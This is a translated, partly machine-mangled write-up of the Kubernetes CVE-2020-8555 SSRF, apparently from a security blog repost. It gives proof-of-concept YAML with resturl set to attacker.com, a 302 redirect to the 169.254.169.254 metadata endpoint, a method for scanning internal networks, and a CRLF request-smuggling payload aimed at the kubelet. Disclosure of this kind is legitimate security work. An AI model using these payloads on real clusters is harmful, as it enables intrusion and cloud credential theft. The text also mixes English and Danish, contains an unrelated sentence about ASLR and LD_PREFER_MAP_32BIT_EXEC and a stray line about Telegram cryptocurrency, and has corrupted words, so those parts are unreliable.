Når det ikke kun handler om en sårbarhed i Kubernetes…

Bem. overs.: Forfatterne af denne artikel beskriver detaljeret, hvordan de opdagede en sårbarhed CVE-2020–8555 i Kubernetes. Selvom den oprindeligt ikke virkede særlig farlig, viste dens kritikalitet sig at være maksimal for nogle cloududbydere, når den kombineredes med andre faktorer. De specialister, der udførte arbejdet, blev generøst belønnet af flere organisationer.

Når det ikke kun handler om en sårbarhed i Kubernetes…

Hvem er vi

Vi er to franske sikkerhedsundersøgere, der sammen har opdaget en sårbarhed i Kubernetes. Vi hedder Brice Augras og Christophe Hauquiert, men på mange Bug Bounty-platforme er vi kendt som Reeverzax og Hach henholdsvis:

Hvad skete der?

Denne artikel er vores måde at fortælle, hvordan et almindeligt forskningsprojekt uventet blev til det mest spændende eventyr i livet for bugjægere (i det mindste indtil videre).

Som du måske ved, har bugjægere et par bemærkelsesværdige træk:

  • de lever af pizza og øl;
  • de arbejder, mens alle andre sover.

Vi er ikke en undtagelse fra disse regler: vi mødes normalt i weekenden og tilbringer søvnløse hacker-nætter. Men en af disse nætter sluttede på en ret usædvanlig måde.

Oprindeligt havde vi planlagt at mødes for at diskutere deltagelse i CTF dagen efter. Under samtalen om sikkerhed i Kubernetes i en styret service-miljø kom vi i tanke om en gammel idé om SSRF (Server-Side Request Forgery) og besluttede at prøve at bruge den som et angrebsscenario.

Klokken 11 satte vi os ned for at forske, og vi gik i seng tidligt om morgenen, meget tilfredse med resultaterne. Det var disse undersøgelser, der førte os til MSRC Bug Bounty-programmet, hvor vi opfandt et exploit med privilegiumseskalering.

Uger/måneder gik, og vores uventede resultat gav os en af de højeste belønninger i historien om Azure Cloud Bug Bounty — ud over den, vi fik fra Kubernetes!

Inspireret af vores forskningsprojekt offentliggjorde Kubernetes Product Security Committee CVE-2020–8555.

Nu ønsker vi at sprede informationen om den fundne sårbarhed så meget som muligt. Vi håber, I vil værdsætte opdagelsen og dele tekniske detaljer med andre medlemmer af infosec-fællesskabet!

Så her er vores historie…

Kontext

For a complete understanding of what happened, let’s first look at how Kubernetes operates in a managed cloud environment.

When you create a Kubernetes cluster instance in such an environment, the managed layer is usually handled by the cloud service provider:

Når det ikke kun handler om en sårbarhed i Kubernetes…
The managed layer is located at the perimeter of the cloud provider, while the Kubernetes nodes are at the client’s perimeter.

For dynamic volume allocation, a mechanism is used for dynamically provisioning them from an external storage backend and mapping them to PVC (persistent volume claim).

Thus, after the PVC is created and bound to a StorageClass in the K8s cluster, the further steps for volume provisioning are taken over by the kube/cloud controller manager (its exact name depends on the release). (Bem. overs.: We have previously written more details about CCM based on its implementation for one of the cloud providers. her.)

There are several types of provisioners supported by Kubernetes: most of them are included in the core of the orchestrator,while others are managed by additional provisioners deployed in pods within the cluster.

In our research, we focused on the internal volume provisioning mechanism, illustrated below:

Når det ikke kun handler om en sårbarhed i Kubernetes…
Dynamic volume provisioning using Kubernetes' built-in provisioner.

In brief, when Kubernetes is deployed in a managed environment, the cloud service provider is responsible for the controller manager's operations, but the request to create a volume (number 3 in the above diagram) leaves the boundaries of the cloud provider’s internal network. And this is where the situation gets really interesting!

Hacking Scenario

In this section, we will discuss how we used the aforementioned workflow to gain access to the internal resources of the cloud service provider. Additionally, it will be shown how certain actions can be executed—such as obtaining internal credentials or conducting privilege escalation.

One simple maneuver (in this case, Service Side Request Forgery) helped to escape the client environment in the clusters of various managed K8s service providers.

I vores undersøgelser har vi fokuseret på provisionereren GlusterFS. Selvom den videre handlingssekvens beskrives i en sådan kontekst, er den samme sårbarhed også til stede i Quobyte, StorageOS og ScaleIO.

Når det ikke kun handler om en sårbarhed i Kubernetes…
Misbrug af mekanismen til dynamisk tildeling af volumener

Under analysen af lagerklassen GlusterFS i klientens kilder på Golang fandt vi blev bemærket, at ved den første HTTP-anmodning (3), sendt under oprettelsen af volumen, til slutningen af brugerens URL i parameteren resturl Kubelet /volumes.

For at fjerne denne ekstra sti besluttede vi at tilføje # til parameteren resturl. Her er den første YAML-konfiguration, som vi brugte til at teste for en «semi-blind» SSRF-sårbarhed (du kan læse mere om semi-blind eller half-blind SSRF, for eksempel her — red. anm.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Derefter brugte vi en binær fil til at fjernstyre Kubernetes-klusteret kubectl. Som regel giver cloud-udbydere (Azure, Google, AWS osv.) mulighed for at få legitimationsoplysninger til brug i dette værktøj.

Takket være dette lykkedes det at anvende vores «specielle» fil. Kube-controller-manager udførte den resulterende HTTP-anmodning:

kubectl create -f sc-poc.yaml

Når det ikke kun handler om en sårbarhed i Kubernetes…
Svar fra angriberens synspunkt

Kort tid efter kunne vi også modtage et HTTP-svar fra målserveren — via kommandoerne describe pvc eller get events i kubectl. Og faktisk: denne Kubernetes-driver er som standard alt for meddelsom i sine advarsler/fejlmeddelelser…

Her er et eksempel med et link til https://www.google.fr, sat som parameter resturl:

kubectl describe pvc poc-ssrf
# eller du kan bruge kubectl get events

Når det ikke kun handler om en sårbarhed i Kubernetes…

I denne tilgang var vi begrænset til anmodninger af typen HTTP POST og vi kunne ikke få fat i indholdet af svarlegemet, hvis den returnerede kode var 201. Derfor besluttede vi at lave yderligere undersøgelser og udvide dette angrebsscenario med nye tilgange.

Udviklingen af vores forskning

  • Avanceret scenario #1: brug af 302-redirect fra en ekstern server til at ændre HTTP-metoden for at få en mere fleksibel måde at indsamle interne data på.
  • Avanceret scenario #2: automatisering af scanning af LAN og opdagelse af interne ressourcer.
  • Avanceret scenario nr. 3: brug af HTTP CRLF + smuglende anmodninger til at oprette tilpassede HTTP-anmodninger og hente data fra kube-controllerens logfiler.

Tekniske specifikationer

  • I forskningen blev Azure Kubernetes Service (AKS) brugt med Kubernetes version 1.12 i regionen Nordlige Europa.
  • De ovenfor beskrevne scenarier blev udført på de nyeste versioner af Kubernetes, undtagen det tredje scenario, da det krævede Kubernetes bygget med Golang version ≤ 1.12.
  • Angrebsgiverens eksterne server — https://attacker.com.

Avanceret scenario nr. 1: omdirigere HTTP POST-anmodning til GET og hente fortrolige data

Den oprindelige metode blev forbedret af konfigurationen af angriberens server til at returnere 302 HTTP Retkode, for at konvertere POST-anmodningen til en GET-anmodning (trin 4 på diagrammet):

Når det ikke kun handler om en sårbarhed i Kubernetes…

Den første anmodning (3), der kommer fra klienten GlusterFS (Controller Manager), har typen POST. Ved at følge de følgende trin kunne vi omdanne den til GET:

  • Som parameter resturl angives i StorageClass http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php svarer med HTTP statuskode 302 og følgende Location Header: http://169.254.169.254. Det kan være hvilken som helst anden intern ressource — i dette tilfælde bruges redirect-linket udelukkende som eksempel.
  • By default net/http biblioteket i Golang omdirigerer anmodningen og konverterer POST til GET med statuskoden 302, hvilket resulterer i, at en HTTP GET-anmodning sendes til den målressource.

For at læse kroppen af HTTP-svaret skal man gøre describe PVC-objektet:

kubectl describe pvc xxx

Her er et eksempel på et HTTP-svar i JSON-format, som vi kunne få:

Når det ikke kun handler om en sårbarhed i Kubernetes…

Mulighederne for den findes sårbarhed var på det tidspunkt begrænsede på grund af følgende punkter:

  • Manglende mulighed for at indsætte HTTP-overskrifter i den udgående anmodning.
  • Manglende mulighed for at udføre POST-anmodninger med parametre i kroppen (så praktisk til at anmode om nøgleværdien fra en etcd-instans, der kører på 2379 porten, hvis uverschålen HTTP anvendes).
  • Manglende mulighed for at hente indholdet af svarens krop, når statuskoden var lig med 200 og svaret ikke havde JSON Content-Type.

Avanceret scenario nr. 2: scanning af det lokale netværk

Denne half-blind SSRF-metode blev derefter brugt til at skanne den interne netværk af cloud-udbyderen og undersøge forskellige lytte-tjenester (Metadata-instansen, Kubelet, etcd osv.) baseret på svarene fra kube-controlleren.

Når det ikke kun handler om en sårbarhed i Kubernetes…

Først blev de standard lytteporte for Kubernetes-komponenterne (8443, 10250, 10251 osv.) identificeret, hvorefter processen til scanning skulle automatiseres.

Da det blev tydeligt, at denne scanning metode er meget specifik og ikke kompatibel med klassiske scannere og SSRF-værktøjer, besluttede vi at skabe vores egne worker’i i bash-scriptet, som automatiserer hele processen.

For eksempel, for hurtigere at scanne området 172.16.0.0/12 i det interne netværk, blev 15 workers kørt parallelt. Det nævnte IP-område blev kun valgt som et eksempel og kan ændres til et IP-område, der specifikt tilhører tjenesteudbyderen.

For at scanne en enkelt IP-adresse og en port skal du gøre følgende:

  • fjerne den tidligere kontrollerede StorageClass;
  • fjerne den tidligere kontrollerede Persistent Volume Claim;
  • ændre værdierne for IP og port i sc.yaml;
  • oprette en StorageClass med den nye IP og port;
  • oprette en ny PVC;
  • udtrække scanningsresultaterne ved hjælp af describe for PVC.

Avanceret scenario nr. 3: CRLF-injektion + HTTP-smuggling i “gamle” versioner af Kubernetes-klyngen.

Hvis udbyderen desuden tilbød kunderne gamle versioner af K8s-klyngen, og og gav dem adgang til logfilerne fra kube-controller-manager, ville effekten være endnu mere markant.

Det er langt lettere for angriberen at ændre HTTP-forespørgslerne, der er beregnet til at få et fuldt HTTP-svar, efter eget valg.

Når det ikke kun handler om en sårbarhed i Kubernetes…

For at implementere det sidste scenario skulle følgende betingelser være opfyldt:

  • Brugeren skulle have adgang til logfilerne fra kube-controller-manager (som f.eks. i Azure LogInsights).
  • Kubernetes-klyngen skulle bruge en Golang-version lavere end 1.12.

Vi satte et lokalt miljø op, der simulerede dataudvekslingen mellem Go-klienten GlusterFS og en falsk målsserver (vi holder os tilbage fra at offentliggøre PoC i øjeblikket).

Der blev opdaget ASLR i programmer med setuid-flaget og bestemme adressefordelingen i de indlæste biblioteker gennem manipulation af miljøvariablen LD_PREFER_MAP_32BIT_EXEC., som berørte versioner af Golang lavere end 1.12 og gjorde det muligt for hackere at udføre HTTP smuggling/CRLF-angreb.

Ved at kombinere ovenstående half-blind SSRF sammen med denne, kunne vi sende forespørgsler efter eget valg, herunder ændring af headers, HTTP-metode, parametre og data, som kube-controller-manager så behandlede.

Her er et eksempel på en fungerende “lokkemad” i parameteren resturl StorageClass, der implementerer et lignende angrebs-scenario:

http://172.31.X.1:10255/healthz? HTTP/1.1
Connection: keep-alive
Host: 172.31.X.1:10255
Content-Length: 1

1
GET /pods? HTTP/1.1
Host: 172.31.X.1:10255

Som resultat opstår der en fejl uventet svar, besked om hvilket bliver registreret i controllerens logs. Takket være den som standard aktiverede "verbosity" gemmes også indholdet af det svarende HTTP-besked.

Når det ikke kun handler om en sårbarhed i Kubernetes…

Dette var vores mest effektive "lokkemad" i vores proof of concept.

Ved at benytte denne tilgang kunne vi udføre nogle af de følgende angreb i klynger fra forskellige udbydere af managed k8s: privilegie-eskalering ved at få adgang til legitimationsoplysninger på metadata-instanser, DoS af masteren ved hjælp af (ukrypterede) HTTP-anmodninger til masterinstanserne etcd osv.

Consequences

I den officielle erklæring fra Kubernetes om den SSRF-sårbarhed, vi opdagede, blev der tildelt en vurdering CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Hvis vi kun betragter sårbarheden relateret til perimeteren af Kubernetes, kvalificeres integritetsvektoren (integrity vector) som None.

Men vurderingen af mulige konsekvenser i konteksten af et managed service-miljø (og dette var den mest interessante del af vores forskning!) fik os til at omklassificere sårbarheden til en vurdering Critical CVSS10/10 for mange distributører.

Nedenfor er yderligere information, der vil hjælpe med at forstå, hvad vi baserede vores vurdering af mulige konsekvenser i cloud-miljøer på:

Integritet

  • Fjernudførelse af kommandoer ved hjælp af de opnåede interne legitimationsoplysninger.
  • Reproduktion af scenariet beskrevet ovenfor ved hjælp af IDOR (Insecure Direct Object Reference, dvs. usikre direkte henvisninger til objekter) med andre ressourcer, der findes i det lokale netværk.

Fortrolighed

  • Angrebstype Lateral Movement takket være tyveri af cloud-legitimationsoplysninger (f.eks. metadata API).
  • Indsamling af information ved hjælp af scanning af det lokale netværk (bestemmelse af version af SSH, version af HTTP-server, …).
  • Indsamling af information om instanser og infrastruktur ved at forespørge interne API'er som metadata API (http://169.254.169.254, …).
  • Tyveri af kundedata ved hjælp af cloud-legitimationsoplysninger.

Tilgængelighed

Alle anvendelsesscenarier for exploits relateret til angrebsvektorer på integrity (integritet), kan anvendes til destruktive handlinger og føre til, at masterinstanserne fra klientens perimeter (eller enhver anden) bliver utilgængelige.

Da vi befandt os i et K8s-styringsmiljø og vurderede indvirkningen på integriteten, kan man forestille sig mange scenarier, der kan påvirke tilgængeligheden. Som yderligere eksempler kan vi nævne beskadigelse af etcd-databasen eller udførelsen af et kritisk kald til Kubernetes API.

Jeg vender tilbage til Telegrams kryptovaluta. Personligt har jeg fra

  • 6. december 2019: Indsendelse af en meddelelse om den opdagede sårbarhed til MSRC Bug Bounty.
  • 3. januar 2020: En tredjepart informerede Kubernetes-udviklerne om, at vi arbejdede på et sikkerhedsproblem. Og bad dem betragte SSRF som en intern (in-core) sårbarhed. Efter dette præsenterede vi en samlet rapport med tekniske detaljer om problemets kilde.
  • 15. januar 2020: Vi gav Kubernetes-udviklerne tekniske og generelle rapporter efter deres anmodning (gennem HackerOne).
  • 15. januar 2020: Kubernetes-udviklerne informerede os om, at half-blind SSRF + CRLF-injektion for tidligere versioner betragtes som en in-core sårbarhed. Vi stoppede straks analysen af andre serviceudbyderes perimeter: årsagen blev nu håndteret af K8s-teamet.
  • 15. januar 2020: Belønningen fra MSRC blev modtaget gennem HackerOne.
  • 16. januar 2020: Kubernetes PSC (Product Security Committee) anerkendte sårbarheden og bad om, at den skulle holdes hemmelig indtil midten af marts på grund af det store antal potentielle ofre.
  • 11. februar 2020: Belønningen fra Google VRP blev modtaget.
  • 4. marts 2020: Belønningen fra Kubernetes blev modtaget gennem HackerOne.
  • 15. marts 2020: Den oprindeligt planlagte offentlige afsløring blev udsat på grund af COVID-19-situationen.
  • 1. juni 2020: Fælles erklæring fra Kubernetes + Microsoft om sårbarheden.

TL;DR

  • Vi drikker øl og spiser pizza 🙂
  • Vi opdagede en in-core sårbarhed i Kubernetes, selvom vi slet ikke havde til hensigt at gøre det.
  • Vi udførte en yderligere analyse i klynger fra forskellige cloud-udbydere og kunne øge den skade, som sårbarheden forårsagede, for at få flere fantastiske belønninger.
  • I denne artikel finder du mange tekniske detaljer. Vi ser frem til at diskutere dem med dig (Twitter: @ReeverZax & @__hach_).
  • Det viste sig, at al formalia og rapportering tog meget længere tid, end forventet.

Links

P.S. fra oversætteren

Læs også på vores blog:

Kilde: habr.com

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster